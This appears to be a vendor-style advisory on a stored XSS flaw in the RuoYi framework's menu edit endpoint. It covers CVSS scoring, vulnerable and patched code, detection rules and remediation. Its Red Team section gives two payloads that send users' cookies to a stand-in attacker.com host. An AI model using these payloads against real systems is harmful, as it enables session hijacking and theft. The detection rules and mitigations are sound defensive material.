CVE-2025-67342

Executive Summary

CVE-2025-67342 is a stored Cross-Site Scripting (XSS) vulnerability in the RuoYi framework, versions 4.8.1 and earlier. The flaw resides in the /system/menu/edit endpoint, where an attacker with menu modification privileges can inject malicious JavaScript payloads that bypass the existing XSS filter. Because the menu configuration is shared across all users, any injected script will execute in the browsers of all users who view the affected menu, leading to widespread session hijacking, data exfiltration, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the RuoYi framework, which is a Java-based open-source project distributed via Maven Central and GitHub. Organizations using RuoYi as a dependency in their applications should treat this as a supply chain risk. The lack of a patch means that all downstream consumers of the framework are vulnerable until a fix is applied or a workaround is implemented.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (menu modification permissions)
• User Interaction: None
• Scope: Changed (impact on other users)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the shared menu context elevate the risk for organizations with multiple users. An attacker with low-level admin privileges can compromise all users, including higher-privileged accounts.

Deep Dive & Mechanics

The vulnerability exists in the menu editing functionality of RuoYi. The /system/menu/edit endpoint accepts user input for menu names, URLs, and other attributes. Although an XSS filter is in place, it can be bypassed using techniques such as:

• Event handler injection: Using onmouseover, onclick, or onload attributes.
• Encoded payloads: Using HTML entities or Unicode escapes.
• Nested tags: Using <svg><script> or <img src=x onerror=...>.

Because the menu is stored in a shared database table and rendered for all users, any injected script will execute in the context of every user who loads the menu. This allows an attacker to:

• Steal session cookies.
• Perform actions on behalf of other users.
• Redirect users to malicious sites.
• Deface the application interface.

The vulnerability is particularly dangerous in multi-tenant environments where different users have different privilege levels. An attacker with menu modification rights (e.g., a department admin) can compromise system administrators.

Vulnerable vs. Patched Code

Vulnerable Code (RuoYi <= 4.8.1):

// In MenuController.java
@PostMapping("/edit")
public String edit(Menu menu) {
    // XSS filter is applied but can be bypassed
    String menuName = XssFilter.filter(menu.getMenuName());
    menu.setMenuName(menuName);
    menuService.updateMenu(menu);
    return "success";
}

Patched Code (Hypothetical Fix):

// In MenuController.java
@PostMapping("/edit")
public String edit(@Valid @RequestBody Menu menu) {
    // Use a robust XSS filter or output encoding
    String menuName = HtmlUtils.htmlEscape(menu.getMenuName());
    menu.setMenuName(menuName);
    menuService.updateMenu(menu);
    return "success";
}

The patched version uses HtmlUtils.htmlEscape() to encode HTML special characters, preventing script execution. Additionally, input validation should be enforced to reject any input containing <script> tags or event handlers.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a RuoYi instance with menu modification permissions.
• A target user who will view the menu.

Exploit Steps:

1. Log in to the RuoYi admin panel.
2. Navigate to System Management > Menu Management.
3. Edit an existing menu or create a new one.
4. In the menu name field, inject the following payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

5. Save the menu.
6. When any user loads the menu, the payload executes, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection Steps:

1. Monitor logs for unusual menu update activities, especially from non-admin users.
2. Inspect the sys_menu table in the database for suspicious entries containing <script>, onerror, or onmouseover.
3. Use a web application firewall (WAF) to block common XSS patterns in menu-related endpoints.

Mitigation:

• Implement strict input validation and output encoding.
• Apply Content Security Policy (CSP) headers to restrict script execution.
• Restrict menu modification permissions to only trusted administrators.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to unknown domains from the RuoYi server.
  • HTTP requests containing document.cookie or fetch in the query string.
• File IOCs:
  • Modified entries in the sys_menu table containing HTML tags or JavaScript.
• Log IOCs:
  • Repeated POST /system/menu/edit requests from the same IP.
  • Error logs showing XSS filter bypass or invalid input warnings.

Detection Engineering

YARA Rule

rule CVE_2025_67342_RuoYi_XSS {
    meta:
        description = "Detects stored XSS payloads in RuoYi menu data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67342"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onmouseover\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /onload\s*=\s*["']?[^"'\s>]+/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: RuoYi Stored XSS via Menu Edit
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in RuoYi menu edit requests
author: Valters IT
logsource:
    category: web
    product: ruoyi
detection:
    selection:
        http.method: 'POST'
        http.url: '/system/menu/edit'
        http.body|contains:
            - '<script'
            - 'onerror='
            - 'onmouseover='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in menu names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67342 RuoYi Stored XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/system/menu/edit"; http.request_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable menu modification for non-essential users.
2. Apply a WAF rule to block XSS patterns in /system/menu/edit.
3. Manually sanitize the sys_menu table to remove any existing malicious entries.

Long-term Fix:

• Upgrade to a patched version of RuoYi once available.
• Implement robust input validation and output encoding using libraries like OWASP Java Encoder.
• Enforce Content Security Policy (CSP) headers to prevent inline script execution.

Workaround:

• Modify the XssFilter class to use a more comprehensive blacklist or whitelist approach.
• Add a custom filter that rejects any input containing HTML tags or event handlers.

Valters IT